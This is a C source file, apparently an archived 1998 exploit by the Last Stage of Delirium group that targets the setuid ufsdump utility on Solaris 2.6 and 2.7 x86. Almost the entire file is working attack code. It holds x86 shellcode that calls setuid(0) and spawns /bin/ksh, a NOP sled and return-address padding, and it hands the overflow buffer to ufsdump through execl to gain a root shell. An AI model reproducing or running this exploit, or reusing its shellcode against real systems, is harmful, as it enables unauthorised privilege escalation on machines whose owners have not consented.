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C/C++ Source or Header  |  2005-02-12  |  3.0 KB  |  66 lines
  1. /*## copyright LAST STAGE OF DELIRIUM apr 1998 poland        *://lsd-pl.net/ #*/
  2. /*## /usr/lib/fs/ufs/ufsdump                                                 #*/
  3.  
  4. #define NOPNUM 3000
  5. #define ADRNUM 2000
  6. #define TMPNUM 2000
  7. #define ALLIGN 2
  8.  
  9. char shellcode[]=
  10.     "\x33\xc0"                     /* xorl   %eax,%eax             */
  11.     "\xeb\x08"                     /* jmp    <shellcode+12>        */
  12.     "\x5f"                         /* popl   %edi                  */
  13.     "\x47"                         /* incl   %edi                  */
  14.     "\xab"                         /* stosl  %eax,%es:(%edi)       */
  15.     "\x88\x47\x01"                 /* movb   %al,0x1(%edi)         */
  16.     "\xeb\x0d"                     /* jmp    <shellcode+25>        */
  17.     "\xe8\xf3\xff\xff\xff"         /* call   <shellcode+4>         */
  18.     "\x9a\xff\xff\xff\xff\x07\xff" /* lcall                        */
  19.     "\xc3"                         /* ret                          */
  20.     "\x33\xc0"                     /* xorl   %eax,%eax             */ 
  21.     "\x50"                         /* pushl  %eax                  */
  22.     "\xb0\x17"                     /* movb   $0x17,%al             */
  23.     "\xe8\xee\xff\xff\xff"         /* call   <shellcode+17>        */
  24.     "\xeb\x16"                     /* jmp    <shellcode+59>        */
  25.     "\x33\xd2"                     /* xorl   %edx,%edx             */
  26.     "\x58"                         /* popl   %eax                  */
  27.     "\x8d\x78\x14"                 /* leal   0x14(%eax),edi        */
  28.     "\x52"                         /* pushl  %edx                  */
  29.     "\x57"                         /* pushl  %edi                  */
  30.     "\x50"                         /* pushl  %eax                  */
  31.     "\xab"                         /* stosl  %eax,%es:(%edi)       */
  32.     "\x92"                         /* xchgl  %eax,%edx             */
  33.     "\xab"                         /* stosl  %eax,%es:(%edi)       */
  34.     "\x88\x42\x08"                 /* movb   %al,0x7(%edx)         */
  35.     "\xb0\x3b"                     /* movb   $0x3b,%al             */
  36.     "\xe8\xd6\xff\xff\xff"         /* call   <shellcode+17>        */
  37.     "\xe8\xe5\xff\xff\xff"         /* call   <shellcode+37>        */
  38.     "/bin/ksh"
  39. ;
  40.  
  41. char jump[]=
  42.     "\x8b\xc4"                     /* movl   %esp,%eax             */
  43.     "\xc3"                         /* ret                          */
  44. ;
  45.  
  46. main(int argc,char **argv){
  47.     char buffer[10000],adr[4],tmp[4],*b;
  48.     int i;
  49.  
  50.     printf("copyright LAST STAGE OF DELIRIUM apr 1998 poland  //lsd-pl.net/\n");
  51.     printf("/usr/lib/fs/ufs/ufsdump for solaris 2.6 2.7 x86\n\n");
  52.  
  53.     *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+3236+2000;
  54.     *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+3236;
  55.  
  56.     b=buffer;
  57.     for(i=0;i<3;i++) *b++=0xff;
  58.     for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
  59.     for(i=0;i<NOPNUM;i++) *b++=0x90;
  60.     for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
  61.     for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
  62.     *b=0;
  63.  
  64.     execl("/usr/lib/fs/ufs/ufsdump","lsd","666",buffer,0);
  65. }
  66. /*                    www.hack.co.za           [9 August 2000]*/